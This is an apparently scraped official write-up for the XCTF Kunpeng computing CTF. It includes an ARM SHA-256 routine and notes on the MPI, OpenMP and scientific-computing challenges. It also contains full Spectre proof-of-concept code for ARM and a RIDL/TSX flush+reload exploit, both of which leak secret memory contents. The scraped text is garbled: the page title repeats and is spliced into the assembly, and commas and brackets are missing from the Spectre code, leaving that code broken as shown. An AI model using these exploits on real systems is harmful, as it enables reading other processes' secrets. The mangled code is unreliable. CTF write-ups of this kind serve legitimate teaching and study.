    0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13,
    0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85,
    0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3,
    0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070,
    0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5,
    0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3,
    0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208,
    0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2,
};

/* Process multiple blocks. The caller is responsible for setting the initial */
/*  state, and the caller is responsible for padding the final block.        */
void sha256_process_arm(uint32_t state[8], const uint8_t data[], uint32_t length)
{
    uint32x4_t STATE0, STATE1, ABEF_SAVE, CDGH_SAVE;
    uint32x4_t MSG0, MSG1, MSG2, MSG3;
    uint32x4_t TMP0, TMP1, TMP2;

    /* Load state */
    STATE0 = vld1q_u32(&state[0]);
    STATE1 = vld1q_u32(&state[4]);

    while (length >= 64)
    {
        /* Save state */
        ABEF_SAVE = STATE0;
        CDGH_SAVE = STATE1;

        /* Load message */
        MSG0 = vld1q_u32((const uint32_t *)(data +  0));
        MSG1 = vld1q_u32((const uint32_t *)(data + 16));
        MSG2 = vld1q_u32((const uint32_t *)(data + 32));
        MSG3 = vld1q_u32((const uint32_t *)(data + 48));

        /* Reverse for little endian */
        MSG0 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG0)));
        MSG1 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG1)));
        MSG2 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG2)));
        MSG3 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG3)));

        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x00]));

        /* Rounds 0-3 */
        MSG0 = vsha256su0q_u32(MSG0, MSG1);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x04]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG0 = vsha256su1q_u32(MSG0, MSG2, MSG3);

        /* Rounds 4-7 */
        MSG1 = vsha256su0q_u32(MSG1, MSG2);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x08]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG1 = vsha256su1q_u32(MSG1, MSG3, MSG0);

        /* Rounds 8-11 */
        MSG2 = vsha256su0q_u32(MSG2, MSG3);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x0c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG2 = vsha256su1q_u32(MSG2, MSG0, MSG1);

        /* Rounds 12-15 */
        MSG3 = vsha256su0q_u32(MSG3, MSG0);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x10]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG3 = vsha256su1q_u32(MSG3, MSG1, MSG2);

        /* Rounds 16-19 */
        MSG0 = vsha256su0q_u32(MSG0, MSG1);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x14]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG0 = vsha256su1q_u32(MSG0, MSG2, MSG3);

        /* Rounds 20-23 */
        MSG1 = vsha256su0q_u32(MSG1, MSG2);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x18]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG1 = vsha256su1q_u32(MSG1, MSG3, MSG0);

        /* Rounds 24-27 */
        MSG2 = vsha256su0q_u32(MSG2, MSG3);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x1c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG2 = vsha256su1q_u32(MSG2, MSG0, MSG1);

        /* Rounds 28-31 */
        MSG3 = vsha256su0q_u32(MSG3, MSG0);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x20]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG3 = vsha256su1q_u32(MSG3, MSG1, MSG2);

        /* Rounds 32-35 */
        MSG0 = vsha256su0q_u32(MSG0, MSG1);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x24]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG0 = vsha256su1q_u32(MSG0, MSG2, MSG3);

        /* Rounds 36-39 */
        MSG1 = vsha256su0q_u32(MSG1, MSG2);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x28]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG1 = vsha256su1q_u32(MSG1, MSG3, MSG0);

        /* Rounds 40-43 */
        MSG2 = vsha256su0q_u32(MSG2, MSG3);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x2c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG2 = vsha256su1q_u32(MSG2, MSG0, MSG1);

        /* Rounds 44-47 */
        MSG3 = vsha256su0q_u32(MSG3, MSG0);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x30]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG3 = vsha256su1q_u32(MSG3, MSG1, MSG2);

        /* Rounds 48-51 */
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x34]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);

        /* Rounds 52-55 */
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x38]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);

        /* Rounds 56-59 */
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x3c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);

        /* Rounds 60-63 */
        TMP2 = STATE0;
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);

        /* Combine state */
        STATE0 = vaddq_u32(STATE0, ABEF_SAVE);
        STATE1 = vaddq_u32(STATE1, CDGH_SAVE);

        data += 64;
        length -= 64;
    }

    /* Save state */
    vst1q_u32(&state[0], STATE0);
    vst1q_u32(&state[4], STATE1);
}

#if defined(TEST_MAIN)

#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[])
{
    /* empty message with padding */
    uint8_t message[64];
    memset(message, 0x00, sizeof(message));
    message[0] = 0x80;

    /* initial state */
    uint32_t state[8] = {
        0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
        0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
    };

    sha256_process_arm(state, message, sizeof(message));

    const uint8_t b1 = (uint8_t)(state[0] >> 24);
    const uint8_t b2 = (uint8_t)(state[0] >> 16);
    const uint8_t b3 = (uint8_t)(state[0] >>  8);
    const uint8_t b4 = (uint8_t)(state[0] >>  0);
    const uint8_t b5 = (uint8_t)(state[1] >> 24);
    const uint8_t b6 = (uint8_t)(state[1] >> 16);
    const uint8_t b7 = (uint8_t)(state[1] >>  8);
    const uint8_t b8 = (uint8_t)(state[1] >>  0);

    /* e3b0c44298fc1c14... */
    printf("SHA256 hash of empty message: ");
    printf("%02X%02X%02X%02X%02X%02X%02X%02X...\n",
        b1, b2, b3, b4, b5, b6, b7, b8);

    int success = ((b1 == 0xE3) && (b2 == 0xB0) && (b3 == 0xC4) && (b4 == 0x42) &&
                    (b5 == 0x98) && (b6 == 0xFC) && (b7 == 0x1C) && (b8 == 0x14));

    if (success)
        printf("Success!\n");
    else
        printf("Failure!\n");

    return (success != 0 ? 0 : 1);
}

#endif

mpi

本题原理上是一个刻意生成的有向图, 其中的哈密顿回路唯一. 题目对输入做 Cantor 展开之后, 再通过 MPI 构造拓扑结构检验是否为一个哈密顿环路. 如果正确则输出 flag. 解题思路为寻找其中的哈密顿回路, 而后通过 Cantor 展开还原为输入即可.

omp

本题的目的是为了让选手熟悉 OpenMP 这个计算框架. 同时故意设置了并行中的 race condition. 选手如果理解了各线程的时间差之后, 即可得知本题真正的内部逻辑. revert 的代码非常简单.

rt.c

void rt(void){
    for(int l = 0; l < 3; l++){
        int64_t temp = io.d32[l];
        int64_t xo = temp >> 30;
        temp = temp & 0x3FFFFFFF;
        for(int64_t j = 0; j < (2 << 24); j++) {
            temp = (temp >> 29) | (temp << 1);
            temp ^= xo ^ 3;
            temp = temp & 0x3FFFFFFF;
        }
        temp = temp | (xo << 30);
        io.d32[l] = (uint32_t) temp;
    }
}

sci

本题源于真实的应用场景, 是出题人实验室曾经为香港大学某神经科学实验室优化过的一个科学计算应用, 是一个二阶盲源分离算法, 用于 EEG 信号处理.

这里为了降低难度给选手一个部分优化过的中间版本. 只需要选手自己在合适的位置加入合适的并行性即可. 总体的优化思路如下。 XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

spec

经过详细测试, 鲲鹏芯片上有 spectre & meltdown 漏洞. 本题设计了一个典型的 spectre 漏洞的场景. 考虑到 arm 上没有类似于 rdtsc 的指令, 加入了第二个线程使其可以通过一个死循环来判断时间. 一个简单的 poc.

poc.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
//#include <pthread.h>
#include <sys/mman.h>

/********************************************************************
Victim code.
********************************************************************/
volatile uint64_t counter = 0;
uint64_t miss_min = 0;
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160= { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0/* Used so compiler won't optimize out victim_function() */

void victim_function(size_t x) {
   if (x < array1_size)
  {
       temp &= array2[array1[x* 512];
  }
}

void *inc_counter(void *a) {
   while (1) {
       counter++;
       //asm volatile ("DMB SY");
  }
}

// timing and flush methods copied from https://github.com/lgeek/spec_poc_arm
static uint64_t timed_read(volatile uint8_t *addr) {
   uint64_t ns = counter;

   asm volatile (
       "DSB SY\n"
       "LDR X5, [%
XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup
]\n"
       "DSB SY\n"       : : [ad"r" (addr) : "x5");    return counter - ns; } static inline void flush(void *addr) {    asm volatile ("DC CIVAC, %
XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup
"
 : : [ad"r" (addr));
   asm volatile("DSB SY"); } uint64_t measure_latency() {    uint64_t ns;    uint64_t min = 0xFFFFF;    for (int r = 0r < 300r++) {        flush(&array1[0]);        ns = timed_read(&array1[0]);        if (ns < minmin = ns;   }    return min; } /******************************************************************** Analysis code ********************************************************************/ /* Report best guess in value[0] and runner-up in value[1] */ void readMemoryByte(size_t malicious_xuint8_t value[2], int score[2]) {    static int results[256];    int triesijkmix_i;    size_t training_xx;    register uint64_t time2;    for (i = 0i < 256i++)        results[i= 0;    for (tries = 999tries > 0tries--) {        /* Flush array2[256*(0..255)] from cache */        for (i = 0i < 256i++)            flush(&array2[i * 512]); /* intrinsic for clflush instruction */        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */        training_x = tries % array1_size;        for (j = 29j >= 0j--) {            flush(&array1_size);            for (volatile int z = 0z < 100z++)           {           } /* Delay (can also mfence) */            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */            /* Avoid jumps in case those tip off the branch predictor */            x = ((j % 6- 1& ~0xFFFF/* Set x=FFF.FF0000 if j%6==0, else x=0 */            x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */            x = training_x ^ (x & (malicious_x ^ training_x));            /* Call the victim! */            victim_function(x);       }        /* Time reads. Order is lightly mixed up to prevent stride prediction */        for (i = 0i < 256i++)       {            mix_i = ((i * 167+ 13& 255;            time2 = timed_read(&array2[mix_i * 512]);            if (time2 <= miss_min && mix_i != array1[tries % array1_size])                results[mix_i]++/* cache hit - add +1 to score for this value */       }        /* Locate highest & second-highest results results tallies in j/k */        j = k = -1;        for (i = 0i < 256i++)       {            if (j < 0 || results[i>= results[j])           {                k = j;                j = i;           }            else if (k < 0 || results[i>= results[k])           {                k = i;           }       }        if (j == 0)            continue;        if (results[j>= (2 * results[k+ 5|| (results[j== 2 && results[k== 0))            break/* Clear success if best is > 2*runner-up + 5 or 2/0) */   }    value[0= (uint8_t)j;    score[0= results[j];    value[1= (uint8_t)k;    score[1= results[k]; } int main(int argcconst char * * argv) {    char *flag = mmap(04096*2PROT_READ|PROT_WRITEMAP_ANONYMOUS|MAP_PRIVATE-10);    printf("Putting '%s' in memory\n"secret);    memcpy(flagsecret40);    size_t malicious_x = (size_t)(flag - (char *)array1); /* default for malicious_x */    int score[2], len = strlen(secret);    uint8_t value[2];    for (size_t i = 0i < sizeof(array2); i++)        array2[i= 1/* write to array2 so in RAM not copy-on-write zero pages */    pthread_t inc_counter_thread;    //if (pthread_create(&inc_counter_thread, NULL, inc_counter, NULL)) {    // fprintf(stderr, "Error creating thread\n");    // return 1;    //}    // let the bullets fly a bit ....    //while (counter < 10000000);    asm volatile ("DSB SY");    miss_min = measure_latency();    if (miss_min == 0) {        fprintf(stderr"Unreliable access timing\n");        exit(EXIT_FAILURE);   }    miss_min -= 1;    printf("miss_min %d\n"miss_min);    printf("Reading %d bytes:\n"len);    while (--len >= 0)   {        printf("Reading at malicious_x = %p... ", (void *)malicious_x);        readMemoryByte(malicious_x++valuescore);        printf("%s: ", (score[0>= 2 * score[1? "Success" : "Unclear"));        printf("0x%02X='%c' score=%d "value[0],           (value[0> 31 && value[0< 127 ? value[0] : '?'), score[0]);        if (score[1> 0)            printf("(second best: 0x%02X='%c' score=%d)"value[1],           (value[1> 31 && value[1< 127 ? value[1] : '?'),                score[1]);        printf("\n");   }    return (0); }

riddle

riddle 实际上是 intel 的 RIDL 漏洞. 本题是对其漏洞的一个利用. 一个测试的 solution. 对于实际环境应该需要做相应更改.

sc.c

#include <immintrin.h>
#include <emmintrin.h>

typedef unsigned long long int uint64_t;

int recover(void *probeint threshold);
void myputc(char c);
void mfence();
void flush(void *p);
void maccess(void *p);
inline unsigned long flush_reload(const char *adrs);
size_t detect_flush_reload_threshold(void *probe);
void writeint(unsigned int);


#define BUCKET_SIZE 4096
#define BUCKETS 16
#define BUFFER_SIZE (BUCKET_SIZE * BUCKETS)
#define FLAG_SIZE 24

void _start(void *probe)
{
register unsigned char bits = 24;
register uint64_t mask  = (1 << (bits + 4)) - 1;
register uint64_t known = 'FTC';
register uint64_t addr = 0x10;
int recovered = bits / 8;

for (int i = 0i < BUFFER_SIZEi++) {
((char *)probe)[i= 0;
}

int threshold = detect_flush_reload_threshold(probe);
/* Hard-coded value works better. */
threshold = 100;
writeint(threshold);

/* Read nibble by nibble. */
while (recovered < FLAG_SIZE * 8) {
uint64_t value;

if (_xbegin() == _XBEGIN_STARTED)
{
value = *(uint64_t *)addr;
value &= mask;
value -= known;
value = (value >> bits| (value << (64 - bits));
maccess(probe + BUCKET_SIZE * value);
_xend();
}
else
{
int nibble = recover(probethreshold);
if (nibble < 0)
continue;
known |= (nibble << bits);
if (bits == 24) {
mask = (mask << 4| 0xf;
bits += 4;
else {
myputc(known >> 24);
known >>= 8;
mask >>= 4;
addr++;
recovered++;
bits = 24;
}
}
}
}

int recover(void *probeint threshold)
{
int winner = -1;
for (int i = 0i < BUCKETSi++) {
unsigned long t = flush_reload((char *)probe + BUCKET_SIZE * i);
if (t < threshold) {
/* If there are two winners, try again. */
if (winner >= 0)
return -1;
winner = i;
}
}
return winner;
}

void myputc(char c)
{
int ret = 0;
volatile char buf[] = { c };
asm volatile(
"movq %1, %%rsi \n\t"
"movq %2, %%rdx \n\t"
"movq $1, %%rax \n\t"
"movq $1, %%rdi \n\t"
"syscall\n\t"
"=g"(ret)
"g"(buf), "g" (1)
"rsi""rdx""rax""rdi"
);
}

void writeint(unsigned int x)
{
myputc(x&0xff);
myputc((x>>8)&0xff);
myputc((x>>16)&0xff);
myputc((x>>24)&0xff);
}

void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); }

// ---------------------------------------------------------------------------
void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }

// ---------------------------------------------------------------------------
void mfence() { asm volatile("mfence"); }

uint64_t rdtsc() {
 unsigned long long ad;
 asm volatile("mfence");
 asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
 a = (d << 32| a;
 asm volatile("mfence");
 return a;
}

__attribute__((always_inline))
inline unsigned long flush_reload(const char *adrs)
{
 volatile unsigned long time;

 asm __volatile__ (
   "mfence             \n"
   "lfence             \n"
   "rdtsc             \n"
   "lfence             \n"
   "movl %%eax, %%esi \n"
   "movl (%1), %%eax   \n"
   "lfence             \n"
   "rdtsc             \n"
   "subl %%esi, %%eax \n"
   "clflush 0(%1)     \n"
  : "=a" (time)
  : "c" (adrs)
  :  "%esi""%edx");

 return time;
}

// ---------------------------------------------------------------------------
int flush_reload_t(void *ptr) {
 uint64_t start = 0end = 0;

 start = rdtsc();
 maccess(ptr);
 end = rdtsc();

 mfence();

 flush(ptr);

 return (int)(end - start);
}

// ---------------------------------------------------------------------------
int reload_t(void *ptr) {
 uint64_t start = 0end = 0;

 start = rdtsc();
 maccess(ptr);
 end = rdtsc();

 mfence();

 return (int)(end - start);
}


// ---------------------------------------------------------------------------
size_t detect_flush_reload_threshold(void *probe) {
 size_t reload_time = 0flush_reload_time = 0icount = 1000000;
 size_t *ptr = probe + BUCKET_SIZE * BUCKETS;

 maccess(ptr);
 for (i = 0i < counti++) {
   reload_time += reload_t(ptr);
}
 for (i = 0i < counti++) {
   flush_reload_time += flush_reload_t(ptr);
}
 reload_time /= count;
 flush_reload_time /= count;

 writeint(reload_time);
 writeint(flush_reload_time);

 return (flush_reload_time + reload_time * 5/ 6;
}
请先登录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月7日12:08:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeuphttp://cn-sec.com/archives/234651.html

发表评论

匿名网友 填写信息